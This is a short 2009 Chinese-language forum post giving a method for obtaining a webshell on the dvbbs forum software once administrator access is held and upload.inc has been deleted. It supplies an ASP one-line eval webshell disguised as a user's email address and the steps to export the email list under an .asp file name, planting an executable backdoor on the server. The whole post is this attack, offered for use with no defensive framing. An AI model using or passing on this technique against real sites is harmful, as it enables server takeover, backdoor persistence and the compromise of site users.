dongfang1017 发表于 2009-5-28 07:26:57

dvbbs删除upload.inc后得shell得方法

dvbbs删除upload.inc后得shell得方法 - 前提是得到前后台管理权限


进入后台后   
先到用户管理   
随便改个人的邮件地址为   
<%eval request(chr(35))%>@163.com   

保存后   
找到 邮件列表导出   

然后导出邮件列表到文本 把文件名的名字改为.asp   

点导出，就得到了一个shell
页: [1]
查看完整版本: dvbbs删除upload.inc后得shell得方法